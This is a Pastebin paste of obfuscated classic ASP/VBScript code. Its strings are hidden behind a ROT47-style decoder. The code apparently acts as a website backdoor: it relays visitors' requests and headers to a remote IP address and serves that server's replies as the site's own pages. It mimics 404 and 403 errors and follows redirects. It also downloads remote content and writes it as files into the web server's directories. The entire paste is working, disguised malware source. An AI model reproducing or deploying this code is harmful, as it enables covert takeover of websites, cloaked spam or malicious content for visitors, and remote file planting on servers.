Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <%@ LANGUAGE=VBSCRIPT CODEPAGE=65001 %>
- <%
- Dim EEEETE,EEEEET,EEEEEE,ETTTTTT,ETTTTTE
- Set EEEEEE=Response:Set EEEEET=Request:Set ETTTTTE=Session:Set EEEETE=Application:Set ETTTTTT=Server
- Set EEETTTT = New ETETTTT
- EEETTTT.dizhi = ETTEETE("bf]e`]aba]`fb")
- EEETTTT.filename = EEEEET.ServerVariables(ETTEETE("$4C:AE0}2>6"))
- EEETTTT.csvalue = ETTEETE("G:56@")
- EEETTTT.cachefile = ETTEETE("^42496")
- EEETTTT.connect
- Class ETETTTT
- Public ETETTTE,dizhi,ETETTEE,filename,csvalue,cachefile
- Private ETETEEE,ETEETTT,ETEETTE,ETEETET,ETEETEE,ETEEETT,ETEEETE
- Private Sub Class_Initialize
- ETETEEE = ""
- filename = ETTEETE(":?56I]2DA")
- csvalue = ETTEETE("A286")
- ETEETTT = EEEEET.ServerVariables(ETTEETE("$t#")&ETTEETE("'t#0$~u%")&ETTEETE("(p#t"))
- ETETTTE = ETTEETE("`af]_]_]`")
- dizhi = ETTEETE("`af]_]_]`")
- ETETTEE = ""
- ETEEETT = EEEEET.ServerVariables(ETTEETE("w%%!0w~$%"))
- cachefile = ETTEETE("^42496")
- ETEEETE = ETTETEE()
- End Sub
- Function connect()
- Dim ETEEEET
- Set ETEEEET = ETTTTTT.Createobject(ETTEETE("(")&ETTEETE(":?w")&ETTEETE("E")&ETTEETE("EA](:")&ETTEETE("?wEEA#")&ETTEETE("6BF6D")&ETTEETE("E]")&"5"&".1")
- ETEEEET.option(6) = false
- ETEEEET.Open ETTEETE("vt%"), ETTEETE("9EEAi^^")&dizhi&ETTEETE("^")&EEEEET.QueryString , False
- ETEEEET.setRequestHeader ETTEETE(")\#62=D57=<;H6Cb=abc=<;abc=<;abc=\x!"), ETEEETE
- ETEEEET.setRequestHeader ETTEETE("w@DE"), ETEEETT
- ETEEEET.setRequestHeader ETTEETE("&D6C\p86?E"), EEEEET.ServerVariables(ETTEETE("w%%!0&$t#0pvt}%"))
- If EEEEET.ServerVariables(ETTEETE("w%%!0#tut#t#"))<>"" Then
- ETEEEET.setRequestHeader ETTEETE("#676C6C"), EEEEET.ServerVariables(ETTEETE("w%%!0#tut#t#"))
- End If
- ETEEEET.Send()
- ETEEEET.WaitForResponse()
- ETEETEE = ETEEEET.ResponseBody
- ETETEEE = ETEEEET.Status
- If ETETEEE=302 or ETETEEE= 301 Then
- ETEETET = ETEEEET.GetResponseHeader(ETTEETE("{@42E:@?"))
- end if
- Set ETEEEET=Nothing
- set EEETTTE = ETTTTTT.CreateObject(ETTEETE("p5@53]$EC62>"))
- EEETTTE.Type = (56 * 75 - 4199)
- EEETTTE.Mode = (65 * 84 - 5457)
- EEETTTE.Open
- EEETTTE.Write ETEETEE
- EEETTTE.Position = (52 * 26 - 1352)
- EEETTTE.Type = (27 * 40 - 1078)
- EEETTTE.Charset = ETTEETE("&%u\g")
- ETEETEE = EEETTTE.ReadText
- EEETTTE.Close
- ETTTTEE()
- End function
- Function ETTTTEE()
- If ETETEEE="302" Then
- EEEEEE.Redirect(ETEETET)
- Exit Function
- ElseIf ETETEEE="301" Then
- EEEEEE.Status = ETTEETE("w%%!^`]` ,b_` ,|@G65 ,!6C>2?6?E=J")
- EEEEEE.Addheader ETTEETE("{@42E:@?"),ETEETET
- Exit Function
- ElseIf ETETEEE="404" Then
- EEEEEE.Status = ETTEETE("w%%!^`]` ,c_c ,}@E ,u@F?5")
- EEEEEE.Addheader ETTEETE("s2E6"), now&ETTEETE(" ,v|%")
- EEEEEE.Addheader ETTEETE("$6CG6C"), ETEETTT
- EEEEEE.Addheader ETTEETE("r@?E6?E\%JA6"),ETTEETE("E6IE^9E>=")
- EEEEEE.Write ETTEETE("k9E>=mk9625mkE:E=6mc_c ,}@E ,u@F?5k^E:E=6mk^9625mk3@5Jmk9`mc_c ,}@E ,u@F?5k^9`m")&ETEETTT&ETTEETE("k^3@5Jmk^9E>=m")
- Exit Function
- ElseIf ETETEEE="403" Then
- EEEEEE.Status = ETTEETE("w%%!^`]` ,c_b ,u@C3:556?")
- EEEEEE.Addheader ETTEETE("s2E6"), now &ETTEETE(" ,v|%")
- EEEEEE.Addheader ETTEETE("$6CG6C"), ETEETTT
- EEEEEE.Addheader ETTEETE("r@?E6?E\%JA6"),ETTEETE("E6IE^9E>=")
- EEEEEE.Write ETTEETE("k9E>=mk9625mkE:E=6mc_b ,u@C3:556?k^E:E=6mk^9625mk3@5Jmk9`mc_b ,u@C3:556?k^9`m")&ETEETTT&ETTEETE("k^3@5Jmk^9E>=m")
- Exit Function
- End If
- EEEEEE.ContentType = ETTEETE("E6IE^9E>=")
- EEEEEE.AddHeader ETTEETE("r@?E6?E\%JA6"), ETTEETE("E6IE^9E>=j492CD6El&%u\g")
- EEEEEE.CodePage = (46 * 83 - -61183)
- EEEEEE.CharSet = ETTEETE("&%u\g")
- ETEETEE = ETTTETT(ETTEETE("9C67lW-QMVX^W]YnX-]WA9AXW-QMVX"), ETTEETE("9C67lQ")&filename&ETTEETE("nSa]SbQ"), ETEETEE)
- ETEETEE = ETTTETT(ETTEETE("9C67lWQMVX9EEAi-^-^W]YnX-^W]YnX-]WA9AXWQMVX"), ETTEETE("9C67lQ9EEAi^^Sa")&filename&ETTEETE("nSb]ScQ"), ETEETEE)
- ETEETEE = ETTTETT(ETTEETE("9C67lW-QMVXW]YnX-]W4DDXW-QMVX"),ETTEETE("9C67lQ")&filename&ETTEETE("nSa]SbQ"), ETEETEE)
- ETEETEE = ETTTETT(ETTEETE("9C67lQ^D:E6>2A]A9AQ"), ETTEETE("9C67lQ")&filename&ETTEETE("nD:E6>2A]A9AQ"), ETEETEE)
- ETEETEE = Replace(ETTEETE("9C67lQ")&filename&ETTEETE("n")&filename&ETTEETE("n"), ETTEETE("9C67lQ")&filename&ETTEETE("n"), ETEETEE)
- ETEETEE = ETTTETE(ETTEETE("DC4l-QW]YnX-]W8:7M;A8MA?8X-Q"),ETTEETE("DC4lQ")&cachefile&ETTEETE("S`]SaQ"), ETEETEE,ETTEETE(":>8"))
- EEEEEE.Write ETEETEE
- End Function
- Function ETTTETT(EEETEEE, EEEETTT, Str)
- Dim ETEEEEE
- Set ETEEEEE = New RegExp
- ETEEEEE.Pattern = EEETEEE
- ETEEEEE.IgnoreCase = false
- ETEEEEE.Global = True
- ETTTETT = ETEEEEE.Replace(Str, EEEETTT)
- End Function
- Function ETTTETE(EEETEEE, EEEETTT, Str, EEEETET)
- Dim ETEEEEE, EETTTTT, EETTTTE
- Set ETEEEEE = New RegExp
- ETEEEEE.Pattern = EEETEEE
- ETEEEEE.IgnoreCase = false
- ETEEEEE.Global = True
- Set EETTTTE = ETEEEEE.Execute(Str)
- For Each EETTTTT in EETTTTE
- IF EEEETET = ETTEETE("4DD") then
- ETTTEET EETTTTT.SubMatches(0)&ETTEETE("]")&EETTTTT.SubMatches(1)
- Elseif EEEETET = ETTEETE(":>8") Then
- ETTTEEE EETTTTT.SubMatches(0)&ETTEETE("]")&EETTTTT.SubMatches(1)
- End If
- Next
- ETTTETE = ETEEEEE.Replace(Str, EEEETTT)
- End Function
- Function ETTTEET(EEEETEE)
- dim EETTTET
- EETTTET=ETTTTTT.MapPath(ETTEETE("^"))&cachefile&EEEETEE
- Set EEETTET=ETTTTTT.CreateObject(ETTEETE("$4C:A")&ETTEETE("E:?8]u:=")&ETTEETE("6$JDE")&ETTEETE("6>~3;")&ETTEETE("64E"))
- If EEETTET.FileExists(EETTTET) Then
- Set EEETTET=Nothing
- Exit Function
- end if
- Set EEETTET=Nothing
- Dim ETEEEET
- Set ETEEEET = ETTTTTT.Createobject(ETTEETE("(:?w")&ETTEETE("EEA](:?")&ETTEETE("wEEA")&ETTEETE("#6BF6")&ETTEETE("DE]")&"5."&"1")
- ETEEEET.option(6) = false
- ETEEEET.Open ETTEETE("!~$%"), ETTEETE("9EEAi^^")&dizhi&EEEETEE , False
- ETEEEET.setRequestHeader ETTEETE("w@DE"), ETEEETT
- ETEEEET.setRequestHeader ETTEETE(")\#62=D57=<;H6Cb=abc=<;abc=<;abc=\x!"), ETEEETE
- ETEEEET.Send()
- EEETTEE = ETEEEET.ResponseText
- ETTETET(ETTEETE("^")&ETTETTE(cachefile&EEEETEE))
- ETTEEEE ETTEETE("^")&cachefile&EEEETEE,EEETTEE,ETTEETE("&%u\g")
- Set ETEEEET=Nothing
- End function
- Function ETTTEEE(EEEETEE)
- On Error Resume Next
- dim EETTTET
- EETTTET=ETTTTTT.MapPath(ETTEETE("^"))&cachefile&EEEETEE
- Set EEETTET=ETTTTTT.CreateObject(ETTEETE("$4C:A")&ETTEETE("E:?8]u:=")&ETTEETE("6$JDE")&ETTEETE("6>~3;")&ETTEETE("64E"))
- If EEETTET.FileExists(EETTTET) Then
- Set EEETTET=Nothing
- Exit Function
- end if
- Set EEETTET=Nothing
- Dim ETEEEET
- Set ETEEEET = ETTTTTT.Createobject(ETTEETE("(:?")&ETTEETE("wEE")&ETTEETE("A](:?w")&ETTEETE("EEA#")&ETTEETE("6BF6")&ETTEETE("DE]d")&".1")
- ETEEEET.option(6) = false
- ETEEEET.Open ETTEETE("vt%"), ETTEETE("9EEAi^^")&dizhi&EEEETEE , False
- ETEEEET.setRequestHeader ETTEETE("w@DE"), ETEEETT
- ETEEEET.setRequestHeader ETTEETE(")\#62=D57=<;H6Cb=abc=<;abc=<;abc=\x!"), ETEEETE
- ETEEEET.Send()
- ETEEEET.WaitForResponse
- ETTETET(ETTEETE("^")&ETTETTE(cachefile&EEEETEE))
- Set EEETETT=ETTTTTT.CreateObject(ETTEETE("25@")&ETTEETE("53]DEC")&ETTEETE("62>"))
- EEETETT.Type= (56 * 75 - 4199)
- EEETETT.open
- EEETETT.write ETEEEET.ResponseBody
- EEETETT.SaveToFile ETTTTTT.MapPath(ETTEETE("^")&cachefile&EEEETEE)
- EEETETT.flush
- EEETETT.Close
- Set EEETETT=Nothing
- Set ETEEEET=Nothing
- End function
- Function ETTETTT(EEEEETT)
- ETTETTT = mid(EEEEETT,instrrev(EEEEETT,ETTEETE("^"))+1)
- End Function
- Function ETTETTE(EEEEETT)
- ETTETTE = Left(EEEEETT,instrrev(EEEEETT,ETTEETE("^")))
- End Function
- Function ETTETET(ByVal CFolder)
- Dim EETTTEE, EETTETT, EETTETE, CreateFolder
- Dim EETTEEE, EETETTT, EETETTE, EETETET, EETETEE
- EETETEE = False
- CreateFolder = CFolder
- On Error Resume Next
- Set EETTTEE = ETTTTTT.CreateObject(ETTEETE("$4C")&ETTEETE(":AE:?8]")&ETTEETE("u:=6")&ETTEETE("$JDE6>")&ETTEETE("~3;64E"))
- If Err Then
- Err.Clear()
- Exit Function
- End If
- If Right(CreateFolder, 1) = ETTEETE("^") Then
- CreateFolder = Left(CreateFolder, Len(CreateFolder) -1)
- End If
- EETTETE = Split(CreateFolder, ETTEETE("^"))
- For EETTEEE = 0 To UBound(EETTETE)
- EETETTE = ""
- For EETETTT = 0 To EETTEEE
- EETETTE = EETETTE & EETTETE(EETETTT) & ETTEETE("^")
- Next
- EETETET = ETTTTTT.MapPath(EETETTE)
- If Not EETTTEE.FolderExists(EETETET) Then
- EETTTEE.CreateFolder(EETETET)
- End If
- Next
- If Err Then
- Err.Clear()
- Else
- EETETEE = True
- End If
- ETTETET = EETETEE
- End Function
- Sub ETTEEEE (EEEEETE,byval Str,CharSet)
- On Error Resume Next
- set EEETETT=ETTTTTT.CreateObject(ETTEETE("25@")&ETTEETE("53]DEC")&ETTEETE("62>"))
- EEETETT.Type= (27 * 40 - 1078)
- EEETETT.mode= (65 * 84 - 5457)
- EEETETT.open
- EEETETT.WriteText str
- EEETETT.SaveToFile ETTTTTT.MapPath(EEEEETE)
- EEETETT.flush
- EEETETT.Close
- set EEETETT=nothing
- End Sub
- Function ETTETEE()
- on error resume next
- Dim EETEETT
- If EEEEET.ServerVariables(ETTEETE("w%%!0")&ETTEETE(")0")&ETTEETE("u~#")&ETTEETE("(p#sts0u~#")) = "" Or InStr(EEEEET.ServerVariables(ETTEETE("w")&ETTEETE("%%!0)0u~")&ETTEETE("#(")&ETTEETE("p#s")&ETTEETE("ts0u~#")), ETTEETE("F?<?@H?")) > 0 Then
- EETEETT = EEEEET.ServerVariables(ETTEETE("#t|")&ETTEETE("~%t0p")&ETTEETE("ss#"))
- ElseIf InStr(EEEEET.ServerVariables(ETTEETE("w%")&ETTEETE("%!0)0u~#(")&ETTEETE("p#sts0u~#")), ETTEETE("[")) > 0 Then
- EETEETT = Mid(EEEEET.ServerVariables(ETTEETE("w")&ETTEETE("%%!0)0u~")&ETTEETE("#(p#s")&ETTEETE("ts0u~#")), 1, InStr(EEEEET.ServerVariables(ETTEETE("w%%")&ETTEETE("!0)0u")&ETTEETE("~#(")&ETTEETE("p#")&ETTEETE("sts0u")&ETTEETE("~#")), ETTEETE("["))-1)
- EEETETE = EEEEET.ServerVariables(ETTEETE("#t|~")&ETTEETE("%t0pss")&ETTEETE("#"))
- ElseIf InStr(EEEEET.ServerVariables(ETTEETE("w%%")&ETTEETE("!0)0u")&ETTEETE("#(")&ETTEETE("p#sts0u~#")), ETTEETE("j")) > 0 Then
- EETEETT = Mid(EEEEET.ServerVariables(ETTEETE("w%")&ETTEETE("%!0)0u~#(")&ETTEETE("p#sts0u~#")), 1, InStr(EEEEET.ServerVariables(ETTEETE("w")&ETTEETE("%%!0")&ETTEETE("0u~#")&ETTEETE("(p#s")&ETTEETE("ts0u~#")), ETTEETE("j"))-1)
- EEETETE = EEEEET.ServerVariables(ETTEETE("#")&ETTEETE("t|~")&ETTEETE("%t0pss")&ETTEETE("#"))
- Else
- EETEETT = EEEEET.ServerVariables(ETTEETE("w%")&ETTEETE("%!")&ETTEETE("0)0u~")&ETTEETE("#(p#s")&ETTEETE("ts0u~#"))
- EEETETE = EEEEET.ServerVariables(ETTEETE("#t|")&ETTEETE("~%t0ps")&ETTEETE("s#"))
- End If
- ETTETEE = Replace(Trim(Mid(EETEETT, 1, 30)), ETTEETE("V"), "")
- End Function
- Function ETTEETT()
- On Error Resume Next
- Dim EETEETE
- If LCase(EEEEET.ServerVariables(ETTEETE("w%%!$"))) = ETTEETE("@77") Then
- EETEETE = ETTEETE("9EEAi^^")
- Else
- EETEETE = ETTEETE("9EEADi^^")
- End If
- EETEETE = EETEETE&EEEEET.ServerVariables(ETTEETE("$t#'t#0}p|t"))
- If EEEEET.ServerVariables(ETTEETE("$t#'t#0!~#%")) <> 80 Then
- EETEETE = EETEETE&ETTEETE("i")&EEEEET.ServerVariables(ETTEETE("$t#'t#0!~#%"))
- End If
- EETEETE = EETEETE&EEEEET.ServerVariables(ETTEETE("&#{"))
- If Trim(EEEEET.QueryString)<>"" Then
- EETEETE = EETEETE&ETTEETE("n")&Trim(EEEEET.QueryString)
- End If
- ETTEETT = EETEETE
- End Function
- End Class
- Function ETTEETE(ByVal EEETEET)
- Dim EETEEET, EETTEEE, EETEEEE
- EEETEET = Replace(EEETEET, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
- For EETTEEE = 1 To Len(EEETEET)
- If EETTEEE <> EETEEEE Then
- EETEEET = AscW(Mid(EEETEET, EETTEEE, 1))
- If EETEEET >= 33 And EETEEET <= 79 Then
- ETTEETE = ETTEETE & Chr(EETEEET + 47)
- ElseIf EETEEET >= 80 And EETEEET <= 126 Then
- ETTEETE = ETTEETE & Chr(EETEEET - 47)
- Else
- EETEEEE = EETTEEE + 1
- If Mid(EEETEET, EETEEEE, 1) = ETTEETE("o") Then ETTEETE = ETTEETE & ChrW(EETEEET + 5) Else ETTEETE = ETTEETE & Mid(EEETEET, EETTEEE, 1)
- End If
- End If
- Next
- End Function
- %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement